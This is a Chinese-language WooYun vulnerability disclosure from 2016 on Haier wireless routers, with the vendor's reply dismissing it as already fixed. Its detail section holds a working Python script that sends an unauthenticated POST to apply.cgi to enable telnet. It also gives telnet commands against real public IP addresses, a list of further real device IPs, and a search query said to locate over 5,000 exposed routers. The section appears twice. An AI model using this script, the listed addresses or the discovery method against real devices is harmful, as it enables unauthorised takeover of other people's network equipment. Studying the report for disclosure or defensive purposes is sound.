当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0202756

漏洞标题:WIFI安全之海尔无线路由器存在高危漏洞可直接控制设备

相关厂商:海尔集团

漏洞作者: 路人甲

提交时间:2016-04-27 22:28

修复时间:2016-04-28 17:33

公开时间:2016-04-28 17:33

漏洞类型:设计不当

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-27: 细节已通知厂商并且等待厂商处理中
2016-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

WIFI安全之海尔无线路由器存在高危漏洞可直接控制设备

详细说明:

该无线路由被大量使用,可通过该网站搜索:
https://www.oshadan.com/main,关键字:Haier Wifi,可搜索到5000+

1.png


经测试发现,该路由的/st_device.asp 文件有这样一个功能,如图:

2.png


”启用 telnet远程管理“,打开这一选项,是不是就可以telnet了呢,试试
选择该项,点击确定,然后执行:telnet xxx.xxx.xxx.xxx 23
奇迹出现了,可直接登录设备,执行一系列的命令。
便于测试,我简单写了一个python脚本,开通该功能:

import sys
import requests
#url = sys.argv[1]
url = 'http://124.152.236.162'
if 'http' not in url: os._exit()
url = "{}/apply.cgi".format(url)
data = "igmp_enable=0&upnp_enable=1&syslogd_enable=1&telnetd_enable=1&reboot_enable=0&submit_button=st_device&change_action=&action=Apply&upnpEn=on&remote_management=0&rtelnetd=0&syslogd=0&reboot_start_hour=0&reboot_start_min=0"
print '[*] Opening telnet ..'
req = requests.post(url, data=data)
if req.status_code == 200:
print '[*] Success ..'


直接运行该脚本,即可开通telnet远程控制的功能。
随机选择一些案例来进行漏洞证明:
0x1 http://124.152.236.162
telnet 124.152.236.162 23

3.png


0x2 http://124.152.236.186
telnet 124.152.236.186 23

4.png


0x3 http://49.117.1.98/
telnet 49.117.1.98 23

5.png


再给出一些案例:

http://49.117.1.98/
http://124.152.236.186
http://124.152.236.162
http://72.130.248.15/
http://77.35.7.104/

漏洞证明:

该无线路由被大量使用,可通过该网站搜索:
https://www.oshadan.com/main,关键字:Haier Wifi,可搜索到5000+

1.png


经测试发现,该路由的/st_device.asp 文件有这样一个功能,如图:

2.png


”启用 telnet远程管理“,打开这一选项,是不是就可以telnet了呢,试试
选择该项,点击确定,然后执行:telnet xxx.xxx.xxx.xxx 23
奇迹出现了,可直接登录设备,执行一系列的命令。
便于测试,我简单写了一个python脚本,开通该功能:

import sys
import requests
#url = sys.argv[1]
url = 'http://124.152.236.162'
if 'http' not in url: os._exit()
url = "{}/apply.cgi".format(url)
data = "igmp_enable=0&upnp_enable=1&syslogd_enable=1&telnetd_enable=1&reboot_enable=0&submit_button=st_device&change_action=&action=Apply&upnpEn=on&remote_management=0&rtelnetd=0&syslogd=0&reboot_start_hour=0&reboot_start_min=0"
print '[*] Opening telnet ..'
req = requests.post(url, data=data)
if req.status_code == 200:
print '[*] Success ..'


直接运行该脚本,即可开通telnet远程控制的功能。
随机选择一些案例来进行漏洞证明:
0x1 http://124.152.236.162
telnet 124.152.236.162 23

3.png


0x2 http://124.152.236.186
telnet 124.152.236.186 23

4.png


0x3 http://49.117.1.98/
telnet 49.117.1.98 23

5.png

修复方案:

加强权限验证

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-04-28 17:33

厂商回复:

最新状态:

2016-04-28:感谢白帽子的测试与提醒,该漏洞属于已知问题,WooYun-2016-196887,WooYun-2015-155274,并且最新版本5.9.4.3已经修正该问题。欢迎继续关注海尔安全,谢谢。